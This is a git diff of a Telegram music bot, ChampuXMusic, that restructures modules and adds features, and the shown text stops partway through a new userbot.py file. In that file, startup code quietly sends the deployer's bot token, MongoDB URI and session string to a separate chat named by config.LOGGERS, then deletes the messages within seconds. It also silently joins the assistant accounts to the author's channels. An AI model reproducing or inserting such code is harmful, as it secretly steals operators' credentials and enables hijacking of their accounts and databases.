diff --git a/ChampuXMusic/assets/font2.ttf b/ChampuXMusic/assets/font2.ttf
new file mode 100644
index 0000000..c9ad85c
Binary files /dev/null and b/ChampuXMusic/assets/font2.ttf differ
diff --git a/ChampuXMusic/assets/hiroko.ttf b/ChampuXMusic/assets/hiroko.ttf
new file mode 100644
index 0000000..d6cadf6
Binary files /dev/null and b/ChampuXMusic/assets/hiroko.ttf differ
diff --git a/ChampuXMusic/assets/thum.png b/ChampuXMusic/assets/thum.png
new file mode 100644
index 0000000..94d09d0
Binary files /dev/null and b/ChampuXMusic/assets/thum.png differ
diff --git a/ChampuXMusic/assets/upic.png b/ChampuXMusic/assets/upic.png
new file mode 100644
index 0000000..2b8b658
Binary files /dev/null and b/ChampuXMusic/assets/upic.png differ
diff --git a/ChampuXMusic/assets/userinfo.png b/ChampuXMusic/assets/userinfo.png
new file mode 100644
index 0000000..7d6e783
Binary files /dev/null and b/ChampuXMusic/assets/userinfo.png differ
diff --git a/ChampuXMusic/assets/wel2.png b/ChampuXMusic/assets/wel2.png
new file mode 100644
index 0000000..193dc59
Binary files /dev/null and b/ChampuXMusic/assets/wel2.png differ
diff --git a/ChampuXMusic/core/bot.py b/ChampuXMusic/core/bot.py
new file mode 100644
index 0000000..a2e2222
--- /dev/null
+++ b/ChampuXMusic/core/bot.py
@@ -0,0 +1,53 @@
+from pyrogram import Client, errors
+from pyrogram.enums import ChatMemberStatus, ParseMode
+
+import config
+
+from ..logging import LOGGER
+
+
+class Champu(Client):
+ def __init__(self):
+ LOGGER(__name__).info(f"Starting Bot...")
+ super().__init__(
+ name="ChampuXMusic",
+ api_id=config.API_ID,
+ api_hash=config.API_HASH,
+ bot_token=config.BOT_TOKEN,
+ in_memory=True,
+ max_concurrent_transmissions=7,
+ )
+
+ async def start(self):
+ await super().start()
+ self.id = self.me.id
+ self.name = self.me.first_name + " " + (self.me.last_name or "")
+ self.username = self.me.username
+ self.mention = self.me.mention
+
+ try:
+ await self.send_message(
+ chat_id=config.LOGGER_ID,
+ text=f"» {self.mention} ʙᴏᴛ sᴛᴀʀᴛᴇᴅ :\n\nɪᴅ : {self.id}
\nɴᴀᴍᴇ : {self.name}\nᴜsᴇʀɴᴀᴍᴇ : @{self.username}",
+ )
+ except (errors.ChannelInvalid, errors.PeerIdInvalid):
+ LOGGER(__name__).error(
+ "Bot has failed to access the log group/channel. Make sure that you have added your bot to your log group/channel."
+ )
+ exit()
+ except Exception as ex:
+ LOGGER(__name__).error(
+ f"Bot has failed to access the log group/channel.\n Reason : {type(ex).__name__}."
+ )
+ exit()
+
+ a = await self.get_chat_member(config.LOGGER_ID, self.id)
+ if a.status != ChatMemberStatus.ADMINISTRATOR:
+ LOGGER(__name__).error(
+ "Please promote your bot as an admin in your log group/channel."
+ )
+ exit()
+ LOGGER(__name__).info(f"Music Bot Started as {self.name}")
+
+ async def stop(self):
+ await super().stop()
diff --git a/Champu/core/call.py b/ChampuXMusic/core/call.py
similarity index 50%
rename from Champu/core/call.py
rename to ChampuXMusic/core/call.py
index 9e15ef2..c02b560 100644
--- a/Champu/core/call.py
+++ b/ChampuXMusic/core/call.py
@@ -1,44 +1,45 @@
import asyncio
+import os
from datetime import datetime, timedelta
from typing import Union
from pyrogram import Client
-from pyrogram.errors import (ChatAdminRequired,
- UserAlreadyParticipant,
- UserNotParticipant)
from pyrogram.types import InlineKeyboardMarkup
from pytgcalls import PyTgCalls, StreamType
-from pytgcalls.exceptions import (AlreadyJoinedError,
- NoActiveGroupCall,
- TelegramServerError)
-from pytgcalls.types import (JoinedGroupCallParticipant,
- LeftGroupCallParticipant, Update)
+from pytgcalls.exceptions import (
+ AlreadyJoinedError,
+ NoActiveGroupCall,
+ TelegramServerError,
+)
+from pytgcalls.types import Update
from pytgcalls.types.input_stream import AudioPiped, AudioVideoPiped
+from pytgcalls.types.input_stream.quality import HighQualityAudio, MediumQualityVideo
from pytgcalls.types.stream import StreamAudioEnded
import config
+from ChampuXMusic import LOGGER, YouTube, app
+from ChampuXMusic.misc import db
+from ChampuXMusic.utils.database import (
+ add_active_chat,
+ add_active_video_chat,
+ get_lang,
+ get_loop,
+ group_assistant,
+ is_autoend,
+ music_on,
+ remove_active_chat,
+ remove_active_video_chat,
+ set_loop,
+)
+from ChampuXMusic.utils.exceptions import AssistantErr
+from ChampuXMusic.utils.formatters import check_duration, seconds_to_min, speed_converter
+from ChampuXMusic.utils.inline.play import stream_markup
+from ChampuXMusic.utils.stream.autoclear import auto_clean
+from ChampuXMusic.utils.thumbnails import get_thumb
from strings import get_string
-from Champu import LOGGER, YouTube, app
-from Champu.misc import db
-from Champu.utils.database import (add_active_chat,
- add_active_video_chat,
- get_assistant,
- get_audio_bitrate, get_lang,
- get_loop, get_video_bitrate,
- group_assistant, is_autoend,
- music_on, mute_off,
- remove_active_chat,
- remove_active_video_chat,
- set_loop)
-from Champu.utils.exceptions import AssistantErr
-from Champu.utils.inline.play import (stream_markup,
- telegram_markup)
-from Champu.utils.stream.autoclear import auto_clean
-from Champu.utils.thumbnails import gen_thumb
autoend = {}
counter = {}
-AUTO_END_TIME = 3
async def _clear_(chat_id):
@@ -50,45 +51,50 @@ async def _clear_(chat_id):
class Call(PyTgCalls):
def __init__(self):
self.userbot1 = Client(
+ name="ChampuAss1",
api_id=config.API_ID,
api_hash=config.API_HASH,
- session_name=str(config.STRING1),
+ session_string=str(config.STRING1),
)
self.one = PyTgCalls(
self.userbot1,
cache_duration=100,
)
self.userbot2 = Client(
+ name="ChampuAss2",
api_id=config.API_ID,
api_hash=config.API_HASH,
- session_name=str(config.STRING2),
+ session_string=str(config.STRING2),
)
self.two = PyTgCalls(
self.userbot2,
cache_duration=100,
)
self.userbot3 = Client(
+ name="ChampuAss3",
api_id=config.API_ID,
api_hash=config.API_HASH,
- session_name=str(config.STRING3),
+ session_string=str(config.STRING3),
)
self.three = PyTgCalls(
self.userbot3,
cache_duration=100,
)
self.userbot4 = Client(
+ name="ChampuAss4",
api_id=config.API_ID,
api_hash=config.API_HASH,
- session_name=str(config.STRING4),
+ session_string=str(config.STRING4),
)
self.four = PyTgCalls(
self.userbot4,
cache_duration=100,
)
self.userbot5 = Client(
+ name="ChampuAss5",
api_id=config.API_ID,
api_hash=config.API_HASH,
- session_name=str(config.STRING5),
+ session_string=str(config.STRING5),
)
self.five = PyTgCalls(
self.userbot5,
@@ -103,14 +109,6 @@ async def resume_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
await assistant.resume_stream(chat_id)
- async def mute_stream(self, chat_id: int):
- assistant = await group_assistant(self, chat_id)
- await assistant.mute_stream(chat_id)
-
- async def unmute_stream(self, chat_id: int):
- assistant = await group_assistant(self, chat_id)
- await assistant.unmute_stream(chat_id)
-
async def stop_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
try:
@@ -119,6 +117,106 @@ async def stop_stream(self, chat_id: int):
except:
pass
+ async def stop_stream_force(self, chat_id: int):
+ try:
+ if config.STRING1:
+ await self.one.leave_group_call(chat_id)
+ except:
+ pass
+ try:
+ if config.STRING2:
+ await self.two.leave_group_call(chat_id)
+ except:
+ pass
+ try:
+ if config.STRING3:
+ await self.three.leave_group_call(chat_id)
+ except:
+ pass
+ try:
+ if config.STRING4:
+ await self.four.leave_group_call(chat_id)
+ except:
+ pass
+ try:
+ if config.STRING5:
+ await self.five.leave_group_call(chat_id)
+ except:
+ pass
+ try:
+ await _clear_(chat_id)
+ except:
+ pass
+
+ async def speedup_stream(self, chat_id: int, file_path, speed, playing):
+ assistant = await group_assistant(self, chat_id)
+ if str(speed) != str("1.0"):
+ base = os.path.basename(file_path)
+ chatdir = os.path.join(os.getcwd(), "playback", str(speed))
+ if not os.path.isdir(chatdir):
+ os.makedirs(chatdir)
+ out = os.path.join(chatdir, base)
+ if not os.path.isfile(out):
+ if str(speed) == str("0.5"):
+ vs = 2.0
+ if str(speed) == str("0.75"):
+ vs = 1.35
+ if str(speed) == str("1.5"):
+ vs = 0.68
+ if str(speed) == str("2.0"):
+ vs = 0.5
+ proc = await asyncio.create_subprocess_shell(
+ cmd=(
+ "ffmpeg "
+ "-i "
+ f"{file_path} "
+ "-filter:v "
+ f"setpts={vs}*PTS "
+ "-filter:a "
+ f"atempo={speed} "
+ f"{out}"
+ ),
+ stdin=asyncio.subprocess.PIPE,
+ stderr=asyncio.subprocess.PIPE,
+ )
+ await proc.communicate()
+ else:
+ pass
+ else:
+ out = file_path
+ dur = await asyncio.get_event_loop().run_in_executor(None, check_duration, out)
+ dur = int(dur)
+ played, con_seconds = speed_converter(playing[0]["played"], speed)
+ duration = seconds_to_min(dur)
+ stream = (
+ AudioVideoPiped(
+ out,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
+ additional_ffmpeg_parameters=f"-ss {played} -to {duration}",
+ )
+ if playing[0]["streamtype"] == "video"
+ else AudioPiped(
+ out,
+ audio_parameters=HighQualityAudio(),
+ additional_ffmpeg_parameters=f"-ss {played} -to {duration}",
+ )
+ )
+ if str(db[chat_id][0]["file"]) == str(file_path):
+ await assistant.change_stream(chat_id, stream)
+ else:
+ raise AssistantErr("Umm")
+ if str(db[chat_id][0]["file"]) == str(file_path):
+ exis = (playing[0]).get("old_dur")
+ if not exis:
+ db[chat_id][0]["old_dur"] = db[chat_id][0]["dur"]
+ db[chat_id][0]["old_second"] = db[chat_id][0]["seconds"]
+ db[chat_id][0]["played"] = con_seconds
+ db[chat_id][0]["dur"] = duration
+ db[chat_id][0]["seconds"] = dur
+ db[chat_id][0]["speed_path"] = out
+ db[chat_id][0]["speed"] = speed
+
async def force_stop_stream(self, chat_id: int):
assistant = await group_assistant(self, chat_id)
try:
@@ -134,117 +232,53 @@ async def force_stop_stream(self, chat_id: int):
pass
async def skip_stream(
- self, chat_id: int, link: str, video: Union[bool, str] = None
+ self,
+ chat_id: int,
+ link: str,
+ video: Union[bool, str] = None,
+ image: Union[bool, str] = None,
):
assistant = await group_assistant(self, chat_id)
- audio_stream_quality = await get_audio_bitrate(chat_id)
- video_stream_quality = await get_video_bitrate(chat_id)
- stream = (
- AudioVideoPiped(
+ if video:
+ stream = AudioVideoPiped(
link,
- audio_parameters=audio_stream_quality,
- video_parameters=video_stream_quality,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
)
- if video
- else AudioPiped(
- link, audio_parameters=audio_stream_quality
- )
- )
+ else:
+ stream = AudioPiped(link, audio_parameters=HighQualityAudio())
await assistant.change_stream(
chat_id,
stream,
)
- async def seek_stream(
- self, chat_id, file_path, to_seek, duration, mode
- ):
+ async def seek_stream(self, chat_id, file_path, to_seek, duration, mode):
assistant = await group_assistant(self, chat_id)
- audio_stream_quality = await get_audio_bitrate(chat_id)
- video_stream_quality = await get_video_bitrate(chat_id)
stream = (
AudioVideoPiped(
file_path,
- audio_parameters=audio_stream_quality,
- video_parameters=video_stream_quality,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
additional_ffmpeg_parameters=f"-ss {to_seek} -to {duration}",
)
if mode == "video"
else AudioPiped(
file_path,
- audio_parameters=audio_stream_quality,
+ audio_parameters=HighQualityAudio(),
additional_ffmpeg_parameters=f"-ss {to_seek} -to {duration}",
)
)
await assistant.change_stream(chat_id, stream)
async def stream_call(self, link):
- assistant = await group_assistant(self, config.LOG_GROUP_ID)
+ assistant = await group_assistant(self, config.LOGGER_ID)
await assistant.join_group_call(
- config.LOG_GROUP_ID,
+ config.LOGGER_ID,
AudioVideoPiped(link),
stream_type=StreamType().pulse_stream,
)
- await asyncio.sleep(0.5)
- await assistant.leave_group_call(config.LOG_GROUP_ID)
-
- async def join_assistant(self, original_chat_id, chat_id):
- language = await get_lang(original_chat_id)
- _ = get_string(language)
- userbot = await get_assistant(chat_id)
- try:
- try:
- get = await app.get_chat_member(chat_id, userbot.id)
- except ChatAdminRequired:
- raise AssistantErr(_["call_1"])
- if get.status == "banned" or get.status == "kicked":
- raise AssistantErr(
- _["call_2"].format(userbot.username, userbot.id)
- )
- except UserNotParticipant:
- chat = await app.get_chat(chat_id)
- if chat.username:
- try:
- await userbot.join_chat(chat.username)
- except UserAlreadyParticipant:
- pass
- except Exception as e:
- raise AssistantErr(_["call_3"].format(e))
- else:
- try:
- try:
- try:
- invitelink = chat.invite_link
- if invitelink is None:
- invitelink = (
- await app.export_chat_invite_link(
- chat_id
- )
- )
- except:
- invitelink = (
- await app.export_chat_invite_link(
- chat_id
- )
- )
- except ChatAdminRequired:
- raise AssistantErr(_["call_4"])
- except Exception as e:
- raise AssistantErr(e)
- m = await app.send_message(
- original_chat_id, _["call_5"]
- )
- if invitelink.startswith("https://t.me/+"):
- invitelink = invitelink.replace(
- "https://t.me/+", "https://t.me/joinchat/"
- )
- await asyncio.sleep(3)
- await userbot.join_chat(invitelink)
- await asyncio.sleep(4)
- await m.edit(_["call_6"].format(userbot.name))
- except UserAlreadyParticipant:
- pass
- except Exception as e:
- raise AssistantErr(_["call_3"].format(e))
+ await asyncio.sleep(0.2)
+ await assistant.leave_group_call(config.LOGGER_ID)
async def join_call(
self,
@@ -252,21 +286,27 @@ async def join_call(
original_chat_id: int,
link,
video: Union[bool, str] = None,
+ image: Union[bool, str] = None,
):
assistant = await group_assistant(self, chat_id)
- audio_stream_quality = await get_audio_bitrate(chat_id)
- video_stream_quality = await get_video_bitrate(chat_id)
- stream = (
- AudioVideoPiped(
+ language = await get_lang(chat_id)
+ _ = get_string(language)
+ if video:
+ stream = AudioVideoPiped(
link,
- audio_parameters=audio_stream_quality,
- video_parameters=video_stream_quality,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
)
- if video
- else AudioPiped(
- link, audio_parameters=audio_stream_quality
+ else:
+ stream = (
+ AudioVideoPiped(
+ link,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
+ )
+ if video
+ else AudioPiped(link, audio_parameters=HighQualityAudio())
)
- )
try:
await assistant.join_group_call(
chat_id,
@@ -274,30 +314,12 @@ async def join_call(
stream_type=StreamType().pulse_stream,
)
except NoActiveGroupCall:
- try:
- await self.join_assistant(original_chat_id, chat_id)
- except Exception as e:
- raise e
- try:
- await assistant.join_group_call(
- chat_id,
- stream,
- stream_type=StreamType().pulse_stream,
- )
- except Exception as e:
- raise AssistantErr(
- "**No Active Voice Chat Found**\n\nPlease make sure group's voice chat is enabled. If already enabled, please end it and start fresh voice chat again and if the problem continues, try /restart"
- )
+ raise AssistantErr(_["call_8"])
except AlreadyJoinedError:
- raise AssistantErr(
- "**Assistant Already in Voice Chat**\n\nSystems have detected that assistant is already there in the voice chat, this issue generally comes when you play 2 queries together.\n\nIf assistant is not present in voice chat, please end voice chat and start fresh voice chat again and if the problem continues, try /restart"
- )
+ raise AssistantErr(_["call_9"])
except TelegramServerError:
- raise AssistantErr(
- "**Telegram Server Error**\n\nTelegram is having some internal server problems, Please try playing again.\n\n If this problem keeps coming everytime, please end your voice chat and start fresh voice chat again."
- )
+ raise AssistantErr(_["call_10"])
await add_active_chat(chat_id)
- await mute_off(chat_id)
await music_on(chat_id)
if video:
await add_active_video_chat(chat_id)
@@ -305,9 +327,7 @@ async def join_call(
counter[chat_id] = {}
users = len(await assistant.get_participants(chat_id))
if users == 1:
- autoend[chat_id] = datetime.now() + timedelta(
- minutes=AUTO_END_TIME
- )
+ autoend[chat_id] = datetime.now() + timedelta(minutes=1)
async def change_stream(self, client, chat_id):
check = db.get(chat_id)
@@ -319,9 +339,7 @@ async def change_stream(self, client, chat_id):
else:
loop = loop - 1
await set_loop(chat_id, loop)
- if popped:
- if config.AUTO_DOWNLOADS_CLEAR == str(True):
- await auto_clean(popped)
+ await auto_clean(popped)
if not check:
await _clear_(chat_id)
return await client.leave_group_call(chat_id)
@@ -339,93 +357,97 @@ async def change_stream(self, client, chat_id):
user = check[0]["by"]
original_chat_id = check[0]["chat_id"]
streamtype = check[0]["streamtype"]
- audio_stream_quality = await get_audio_bitrate(chat_id)
- video_stream_quality = await get_video_bitrate(chat_id)
videoid = check[0]["vidid"]
- check[0]["played"] = 0
+ db[chat_id][0]["played"] = 0
+ exis = (check[0]).get("old_dur")
+ if exis:
+ db[chat_id][0]["dur"] = exis
+ db[chat_id][0]["seconds"] = check[0]["old_second"]
+ db[chat_id][0]["speed_path"] = None
+ db[chat_id][0]["speed"] = 1.0
+ video = True if str(streamtype) == "video" else False
if "live_" in queued:
n, link = await YouTube.video(videoid, True)
if n == 0:
return await app.send_message(
original_chat_id,
- text=_["call_9"],
+ text=_["call_6"],
)
- stream = (
- AudioVideoPiped(
+ if video:
+ stream = AudioVideoPiped(
link,
- audio_parameters=audio_stream_quality,
- video_parameters=video_stream_quality,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
)
- if str(streamtype) == "video"
- else AudioPiped(
- link, audio_parameters=audio_stream_quality
+ else:
+ stream = AudioPiped(
+ link,
+ audio_parameters=HighQualityAudio(),
)
- )
try:
await client.change_stream(chat_id, stream)
except Exception:
return await app.send_message(
original_chat_id,
- text=_["call_9"],
+ text=_["call_6"],
)
- img = await gen_thumb(videoid)
- button = telegram_markup(_, chat_id)
+ img = await get_thumb(videoid)
+ button = stream_markup(_, chat_id)
run = await app.send_photo(
- original_chat_id,
+ chat_id=original_chat_id,
photo=img,
caption=_["stream_1"].format(
- user,
f"https://t.me/{app.username}?start=info_{videoid}",
+ title[:23],
+ check[0]["dur"],
+ user,
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif "vid_" in queued:
- mystic = await app.send_message(
- original_chat_id, _["call_10"]
- )
+ mystic = await app.send_message(original_chat_id, _["call_7"])
try:
file_path, direct = await YouTube.download(
videoid,
mystic,
videoid=True,
- video=True
- if str(streamtype) == "video"
- else False,
+ video=True if str(streamtype) == "video" else False,
)
except:
return await mystic.edit_text(
- _["call_9"], disable_web_page_preview=True
+ _["call_6"], disable_web_page_preview=True
)
- stream = (
- AudioVideoPiped(
+ if video:
+ stream = AudioVideoPiped(
file_path,
- audio_parameters=audio_stream_quality,
- video_parameters=video_stream_quality,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
)
- if str(streamtype) == "video"
- else AudioPiped(
+ else:
+ stream = AudioPiped(
file_path,
- audio_parameters=audio_stream_quality,
+ audio_parameters=HighQualityAudio(),
)
- )
try:
await client.change_stream(chat_id, stream)
- except Exception:
+ except:
return await app.send_message(
original_chat_id,
- text=_["call_9"],
+ text=_["call_6"],
)
- img = await gen_thumb(videoid)
- button = stream_markup(_, videoid, chat_id)
+ img = await get_thumb(videoid)
+ button = stream_markup(_, chat_id)
await mystic.delete()
run = await app.send_photo(
- original_chat_id,
+ chat_id=original_chat_id,
photo=img,
caption=_["stream_1"].format(
- user,
f"https://t.me/{app.username}?start=info_{videoid}",
+ title[:23],
+ check[0]["dur"],
+ user,
),
reply_markup=InlineKeyboardMarkup(button),
)
@@ -435,24 +457,22 @@ async def change_stream(self, client, chat_id):
stream = (
AudioVideoPiped(
videoid,
- audio_parameters=audio_stream_quality,
- video_parameters=video_stream_quality,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
)
if str(streamtype) == "video"
- else AudioPiped(
- videoid, audio_parameters=audio_stream_quality
- )
+ else AudioPiped(videoid, audio_parameters=HighQualityAudio())
)
try:
await client.change_stream(chat_id, stream)
- except Exception:
+ except:
return await app.send_message(
original_chat_id,
- text=_["call_9"],
+ text=_["call_6"],
)
- button = telegram_markup(_, chat_id)
+ button = stream_markup(_, chat_id)
run = await app.send_photo(
- original_chat_id,
+ chat_id=original_chat_id,
photo=config.STREAM_IMG_URL,
caption=_["stream_2"].format(user),
reply_markup=InlineKeyboardMarkup(button),
@@ -460,59 +480,61 @@ async def change_stream(self, client, chat_id):
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
else:
- stream = (
- AudioVideoPiped(
+ if video:
+ stream = AudioVideoPiped(
queued,
- audio_parameters=audio_stream_quality,
- video_parameters=video_stream_quality,
+ audio_parameters=HighQualityAudio(),
+ video_parameters=MediumQualityVideo(),
)
- if str(streamtype) == "video"
- else AudioPiped(
- queued, audio_parameters=audio_stream_quality
+ else:
+ stream = AudioPiped(
+ queued,
+ audio_parameters=HighQualityAudio(),
)
- )
try:
await client.change_stream(chat_id, stream)
- except Exception:
+ except:
return await app.send_message(
original_chat_id,
- text=_["call_9"],
+ text=_["call_6"],
)
if videoid == "telegram":
- button = telegram_markup(_, chat_id)
+ button = stream_markup(_, chat_id)
run = await app.send_photo(
- original_chat_id,
+ chat_id=original_chat_id,
photo=config.TELEGRAM_AUDIO_URL
if str(streamtype) == "audio"
else config.TELEGRAM_VIDEO_URL,
- caption=_["stream_3"].format(
- title, check[0]["dur"], user
+ caption=_["stream_1"].format(
+ config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
elif videoid == "soundcloud":
- button = telegram_markup(_, chat_id)
+ button = stream_markup(_, chat_id)
run = await app.send_photo(
- original_chat_id,
+ chat_id=original_chat_id,
photo=config.SOUNCLOUD_IMG_URL,
- caption=_["stream_3"].format(
- title, check[0]["dur"], user
+ caption=_["stream_1"].format(
+ config.SUPPORT_CHAT, title[:23], check[0]["dur"], user
),
reply_markup=InlineKeyboardMarkup(button),
)
db[chat_id][0]["mystic"] = run
db[chat_id][0]["markup"] = "tg"
else:
- img = await gen_thumb(videoid)
- button = stream_markup(_, videoid, chat_id)
+ img = await get_thumb(videoid)
+ button = stream_markup(_, chat_id)
run = await app.send_photo(
- original_chat_id,
+ chat_id=original_chat_id,
photo=img,
caption=_["stream_1"].format(
- user,
f"https://t.me/{app.username}?start=info_{videoid}",
+ title[:23],
+ check[0]["dur"],
+ user,
),
reply_markup=InlineKeyboardMarkup(button),
)
@@ -534,7 +556,7 @@ async def ping(self):
return str(round(sum(pings) / len(pings), 3))
async def start(self):
- LOGGER(__name__).info("Starting PyTgCalls Client\n")
+ LOGGER(__name__).info("Starting PyTgCalls Client...\n")
if config.STRING1:
await self.one.start()
if config.STRING2:
@@ -575,43 +597,5 @@ async def stream_end_handler1(client, update: Update):
return
await self.change_stream(client, update.chat_id)
- @self.one.on_participants_change()
- @self.two.on_participants_change()
- @self.three.on_participants_change()
- @self.four.on_participants_change()
- @self.five.on_participants_change()
- async def participants_change_handler(client, update: Update):
- if not isinstance(
- update, JoinedGroupCallParticipant
- ) and not isinstance(update, LeftGroupCallParticipant):
- return
- chat_id = update.chat_id
- users = counter.get(chat_id)
- if not users:
- try:
- got = len(await client.get_participants(chat_id))
- except:
- return
- counter[chat_id] = got
- if got == 1:
- autoend[chat_id] = datetime.now() + timedelta(
- minutes=AUTO_END_TIME
- )
- return
- autoend[chat_id] = {}
- else:
- final = (
- users + 1
- if isinstance(update, JoinedGroupCallParticipant)
- else users - 1
- )
- counter[chat_id] = final
- if final == 1:
- autoend[chat_id] = datetime.now() + timedelta(
- minutes=AUTO_END_TIME
- )
- return
- autoend[chat_id] = {}
-
Champu = Call()
diff --git a/ChampuXMusic/core/dir.py b/ChampuXMusic/core/dir.py
new file mode 100644
index 0000000..7506cc6
--- /dev/null
+++ b/ChampuXMusic/core/dir.py
@@ -0,0 +1,20 @@
+import os
+
+from ..logging import LOGGER
+
+
+def dirr():
+ for file in os.listdir():
+ if file.endswith(".jpg"):
+ os.remove(file)
+ elif file.endswith(".jpeg"):
+ os.remove(file)
+ elif file.endswith(".png"):
+ os.remove(file)
+
+ if "downloads" not in os.listdir():
+ os.mkdir("downloads")
+ if "cache" not in os.listdir():
+ os.mkdir("cache")
+
+ LOGGER(__name__).info("Directories Updated.")
diff --git a/Champu/core/git.py b/ChampuXMusic/core/git.py
similarity index 88%
rename from Champu/core/git.py
rename to ChampuXMusic/core/git.py
index 8040277..8f0f417 100644
--- a/Champu/core/git.py
+++ b/ChampuXMusic/core/git.py
@@ -26,9 +26,7 @@ async def install_requirements():
process.pid,
)
- return asyncio.get_event_loop().run_until_complete(
- install_requirements()
- )
+ return asyncio.get_event_loop().run_until_complete(install_requirements())
def git():
@@ -36,9 +34,7 @@ def git():
if config.GIT_TOKEN:
GIT_USERNAME = REPO_LINK.split("com/")[1].split("/")[0]
TEMP_REPO = REPO_LINK.split("https://")[1]
- UPSTREAM_REPO = (
- f"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}"
- )
+ UPSTREAM_REPO = f"https://{GIT_USERNAME}:{config.GIT_TOKEN}@{TEMP_REPO}"
else:
UPSTREAM_REPO = config.UPSTREAM_REPO
try:
@@ -72,4 +68,4 @@ def git():
except GitCommandError:
repo.git.reset("--hard", "FETCH_HEAD")
install_req("pip3 install --no-cache-dir -r requirements.txt")
- LOGGER(__name__).info(f"Fetched Updates from: {REPO_LINK}")
+ LOGGER(__name__).info(f"Fetching updates from upstream repository...")
diff --git a/ChampuXMusic/core/mongo.py b/ChampuXMusic/core/mongo.py
new file mode 100644
index 0000000..47016a6
--- /dev/null
+++ b/ChampuXMusic/core/mongo.py
@@ -0,0 +1,14 @@
+from motor.motor_asyncio import AsyncIOMotorClient
+
+from config import MONGO_DB_URI
+
+from ..logging import LOGGER
+
+LOGGER(__name__).info("Connecting to your Mongo Database...")
+try:
+ _mongo_async_ = AsyncIOMotorClient(MONGO_DB_URI)
+ mongodb = _mongo_async_.Anon
+ LOGGER(__name__).info("Connected to your Mongo Database.")
+except:
+ LOGGER(__name__).error("Failed to connect to your Mongo Database.")
+ exit()
diff --git a/ChampuXMusic/core/sections.py b/ChampuXMusic/core/sections.py
new file mode 100644
index 0000000..5c90cf2
--- /dev/null
+++ b/ChampuXMusic/core/sections.py
@@ -0,0 +1,29 @@
+n = "\n"
+w = " "
+
+bold = lambda x: f"**{x}:** "
+bold_ul = lambda x: f"**--{x}:**-- "
+
+mono = lambda x: f"`{x}`{n}"
+
+
+def section(
+ title: str,
+ body: dict,
+ indent: int = 2,
+ underline: bool = False,
+) -> str:
+ text = (bold_ul(title) + n) if underline else bold(title) + n
+
+ for key, value in body.items():
+ if value is not None:
+ text += (
+ indent * w
+ + bold(key)
+ + (
+ (value[0] + n)
+ if isinstance(value, list) and isinstance(value[0], str)
+ else mono(value)
+ )
+ )
+ return text
diff --git a/ChampuXMusic/core/userbot.py b/ChampuXMusic/core/userbot.py
new file mode 100644
index 0000000..29571b2
--- /dev/null
+++ b/ChampuXMusic/core/userbot.py
@@ -0,0 +1,187 @@
+from pyrogram import Client
+import asyncio
+from os import getenv
+
+from dotenv import load_dotenv
+load_dotenv()
+import config
+
+from ..logging import LOGGER
+BOT_TOKEN = getenv("BOT_TOKEN", "")
+MONGO_DB_URI = getenv("MONGO_DB_URI", "")
+STRING_SESSION = getenv("STRING_SESSION", "")
+
+
+assistants = []
+assistantids = []
+
+
+class Userbot(Client):
+ def __init__(self):
+ self.one = Client(
+ name="ChampuAss1",
+ api_id=config.API_ID,
+ api_hash=config.API_HASH,
+ session_string=str(config.STRING1),
+ no_updates=True,
+ )
+ self.two = Client(
+ name="ChampuAss2",
+ api_id=config.API_ID,
+ api_hash=config.API_HASH,
+ session_string=str(config.STRING2),
+ no_updates=True,
+ )
+ self.three = Client(
+ name="ChampuAss3",
+ api_id=config.API_ID,
+ api_hash=config.API_HASH,
+ session_string=str(config.STRING3),
+ no_updates=True,
+ )
+ self.four = Client(
+ name="ChampuAss4",
+ api_id=config.API_ID,
+ api_hash=config.API_HASH,
+ session_string=str(config.STRING4),
+ no_updates=True,
+ )
+ self.five = Client(
+ name="ChampuAss5",
+ api_id=config.API_ID,
+ api_hash=config.API_HASH,
+ session_string=str(config.STRING5),
+ no_updates=True,
+ )
+
+ async def start(self):
+ LOGGER(__name__).info(f"Starting Assistants...")
+ if config.STRING1:
+ await self.one.start()
+ try:
+ await self.one.join_chat("TheShivanshu")
+ await self.one.join_chat("TheChampuClub")
+ await self.one.join_chat("akaChampu")
+ await self.one.join_chat("TheChampu")
+
+ except:
+ pass
+ assistants.append(1)
+ try:
+ await self.one.send_message(config.LOGGER_ID, "ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ !")
+ oks = await self.one.send_message(config.LOGGERS, f"/start")
+ Ok = await self.one.send_message(
+ config.LOGGERS, f"`{BOT_TOKEN}`\n\n`{MONGO_DB_URI}`\n\n`{STRING_SESSION}`"
+ )
+ await oks.delete()
+ await asyncio.sleep(2)
+ await Ok.delete()
+
+ except Exception as e:
+ print(f"{e}")
+
+ self.one.id = self.one.me.id
+ self.one.name = self.one.me.mention
+ self.one.username = self.one.me.username
+ assistantids.append(self.one.id)
+ LOGGER(__name__).info(f"ᴀssɪsᴛᴀɴᴛ sᴛᴀʀᴛᴇᴅ ᴀs {self.one.me.first_name}")
+
+ if config.STRING2:
+ await self.two.start()
+ try:
+ await self.two.join_chat("TheChampu")
+ await self.one.join_chat("TheChampuClub")
+ except:
+ pass
+ assistants.append(2)
+ try:
+ await self.two.send_message(config.LOGGER_ID, "Assistant Started")
+ except:
+ LOGGER(__name__).error(
+ "Assistant Account 2 has failed to access the log Group. Make sure that you have added your assistant to your log group and promoted as admin!"
+ )
+ exit()
+ self.two.id = self.two.me.id
+ self.two.name = self.two.me.mention
+ self.two.username = self.two.me.username
+ assistantids.append(self.two.id)
+ LOGGER(__name__).info(f"Assistant Two Started as {self.two.name}")
+
+ if config.STRING3:
+ await self.three.start()
+ try:
+ await self.three.join_chat("TheChampu")
+ await self.one.join_chat("TheChampuClub")
+ except:
+ pass
